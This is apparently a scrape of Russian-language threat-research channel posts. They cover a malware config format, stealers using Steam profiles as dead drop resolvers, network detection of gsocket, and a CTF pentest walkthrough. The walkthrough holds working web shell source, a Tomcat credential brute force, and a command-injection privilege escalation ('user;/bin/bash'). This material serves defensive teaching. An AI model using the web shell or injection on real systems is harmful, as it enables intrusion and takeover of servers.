struct config_encrypted {
DWORD magic; // HOOK
DWORD firstPartDataSize
BYTE firstPartData[firstPartDataSize];
DWORD secondPartMagic; // 08 FB 80 8F
DWORD secondPartDataSize;
BYTE secondPartData[secondPartDataSize];
};


В качестве алгоритма шифрования используется AES-128 CBC. Интересной особенностью данного фреймворка является тот факт, что для шифрования конфига всех бинарей используется один и тот же ключ и IV.

Подробнее читайте в нашей новой статье в блоге!
  • 👍 13
  • 🔥 7
  • 👏 5
  • 🌭 2
  • 👾 1
Post #13 1.43K
Dead Drop Resolver и Steam

Вредоносы начали активно использовать Steam в связке с Telegram в контексте техники Dead Drop Resolver. Пока что это только стилеры, однако есть тенденция, что эту технику подхватят и другие злоумышленники.

Dead Drop Resolver (DDR) заключается в сокрытии на легитимных ресурсах информации о C2 инфраструктуре, притом представляться она может как в plaintext, так и в обфусцированном виде.

В случае со Steam данные могут скрываться в никнейме пользователя, этот метод используют стилеры Vidar (plaintext), Lumma (ROT15, сдвиг может отличаться), ACR (base64).

Среди них выделяется стилер Meta, который использует комментарии к профилю пользователя (XOR + base64). Преимуществом именно этого способа является то, что комментарии можно удалить безвозвратно, в то время как предыдущие никнеймы сохраняются в истории.

Первым игровую платформу Steam начал использовать стилер Vidar. Другие стилеры последовательно осваивали её в течение 2024 года. Мы не исключаем, что другие виды ВПО также начнут использовать популярный игровой сервис.

Так что если видите в своей сети подключения к Steam, то либо кто-то из сотрудников решил поиграть, либо какой-то из стилеров «звонит домой».

Подробности, Yara-правила и индикаторы ищите нашей статье
  • 🔥 15
  • 👍 7
  • ✍ 5
  • 🤔 2
  • 🌚 1
  • 👾 1
Post #12 1.5K
Connect like there is no firewall. Securely. Part_2.

Ранее мы рассказывали про утилиту gsocket и как ее детектить на хосте. Сейчас поговорим про детект на сети.

В число особенностей gsocket (важных для сетевого детекта) входит то, что для коммуникации он использует определенный протокол общения зараженного устройства и сервера управления.
Важнейшие структуры: gs_connect, gs_listen, gs_status, gs_start и gs_accept.

Назначение этих структур понятно из названий, приведем код.
struct _gs_connect
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token_NOTUSED[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE]; // 16 bytes
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};


struct _gs_listen    /* 128 bytes */
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE];
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};


struct _gs_start
{
uint8_t type;
uint8_t flags;
uint8_t reserved[2];
uint8_t reserved2[28];
};


struct _gs_status
{
uint8_t type;
uint8_t err_type;
uint8_t code;
uint8_t reserved[1];
uint8_t msg[28];
};


struct _gs_accept
{
uint8_t type;
uint8_t reserved[3];
uint8_t reserved2[28];
};

В сетевом трафике такие структуры обязательно привлекут внимание, причём не столько "содержательной" частью, как версия или флаги, сколько большим количеством "нулей" — зарезервированных байт.

Сущность type (из приведенных выше структур) имеет конечное количество значений (типов сообщений):
GS_PKT_TYPE_LISTEN  (0x01)  
GS_PKT_TYPE_CONNECT (0x02)
GS_PKT_TYPE_PING (0x03)
GS_PKT_TYPE_PONG (0x04)
GS_PKT_TYPE_START (0x05)
GS_PKT_TYPE_ACCEPT (0x06)
GS_PKT_TYPE_STATUS (0x07)


Детектирующую логику можно построить на последовательности зарезервированных байт, а также определенных типах сообщений.

Но злоумышленники не стоят на месте. Ведь можно просто заблокировать домены, связанные с gsocket (например), которые резолвит данная утилита.

Нам на анализ попалось несколько кастомных версий, которые устанавливают соединение ровно так же, но используют для взаимодействия не "легитимную сеть релей серверов", а свои сервера управления, что и позволило нам написать детектирующую логику на основании вышеуказанных структур.
Осталось переложить заданные структуры на язык описания детектирующей логики и радоваться, пока структура взаимодействия остается актуальной.
  • ❤ 11
  • ✍ 5
  • 🫡 5
  • 👾 2
  • 👍 1
Post #11 1.51K
🔍 Взятие флагов по пентесту на квесте Solar 4RAYS на SOC FORUM

О чём речь
8 ноября на SOC Forum мы предложили вам попробовать свои силы в решении задач по пентесту, форензике и OSINT. Сегодня делимся с вами ответом на задание по пентесту.

Легенда
:
Компания X внедрила в свою инфраструктуру контейнер сервлетов, основанный на Apache Tomcat. Этот контейнер позволяет тестировать, отлаживать и запускать веб-приложения, написанные на Java. Сможешь проверить, насколько надежно защищена эта система?

Цель:
Получи root-доступ к серверу и собери все 3 флага.

Сервер для исследования:
195.19.96.163

В случае, если виртуальная машина недоступна, второй сервер: 195.19.96.166


Разберем сценарий квеста, где будем проводить сканирование, изучать уязвимости Tomcat, загружать Web shell, а также повышать привилегии для получения всех флагов.

1️⃣ Сканирование портов

Для начала проводим сканирование на наличие открытых портов с помощью инструмента nmap:

sudo nmap --top-ports 1000 -A -sS -sV --open 195.19.96.163 -Pn


Обнаруживаем два открытых TCP-порта:
22 – SSH сервис, уязвимостей не найдено.
8080 – сервис Tomcat.

2️⃣ Изучение Tomcat

Поиск по открытым источникам уязвимостей для обнаруженной версии Tomcat не дал результатов. Однако можно предположить наличие стандартных учетных данных. С помощью модуля auxiliary/scanner/http/tomcat_mgr_login в Metasploit удалось подобрать учетную запись: manager:password1.

Теперь мы в панели администрирования Tomcat и можем загрузить WAR файл. По инструкции ниже создаем Web shell.

3️⃣ Создание и загрузка Web shell

Устанавливаем JDK для использования команды jar:

sudo apt install default-jdk


Создаем файл index.jsp с кодом для Web shell:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>


Далее:
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *


Загружаем файл и получаем возможность выполнять команды через Web shell. В директории /opt/tomcat8/ находим файл flag1.txt с первым флагом.

4️⃣ Повышение привилегий

Ищем способы подключения к хосту. В директории /opt/tomcat8/conf/ обнаруживаем tomcat-users.xml с учетной записью john:wj36Hn2P1rS4vLwSHM.

Подключаемся по SSH под пользователем john и находим второй флаг в его домашней директории.

ssh john@195.19.96.163


Находим папку .script с файлом change-pass, предназначенным для смены паролей пользователей. Этот файл принадлежит root и группе help, и имеет SUID-бит. Пользователь john состоит в группе help.

Используем команды для проверки прав и состава файла:
find / -perm -u=s -type f 2>/dev/null
ls -la /home/john/.script/change-pass
id john
cat /home/john/.script/change-pass.c


С помощью команды /home/john/.script/change-pass "user;/bin/bash" получаем привилегии root.

Далее находим финальный флаг в директории root:
cat /root/.flag3.txt


🎉 Поздравляем! Все этапы пройдены, и флаги успешно собраны.
  • ⚡ 17
  • 👍 8
  • ✍ 6
  • ❤ 1
  • 🐳 1
  • 👾 1
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →